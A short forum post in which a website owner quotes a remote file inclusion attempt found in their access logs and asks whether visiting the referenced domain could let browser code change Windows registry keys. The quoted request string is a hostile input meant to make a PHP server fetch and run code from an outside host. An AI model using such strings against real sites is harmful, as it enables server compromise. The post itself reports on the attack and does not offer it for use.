So I was browsing through my website access logs recently, and noticed several attempts to do things like this
?page=pics//?_SERVER[DOCUMENT_ROOT]=http://www.wdiet.co.kr//skin_shop/.../cms/idf.txt??
Of course, I'm not completely stupid and this had no affect on my server or the software, but I thought for the hell of it, I'd see what's actually on that domain. When it loaded, Chrome attempted to change a registry key according to Comodo. Is there any way to actually change a registry key from code that a browser runs or was it an unusual coincidence that Chrome, for the first time I've seen, tried to change a registry key.
Edit: 4 attempts at modification were made of different keys in HKLM/SYSTEM/ControlSet001/Services/ESENT
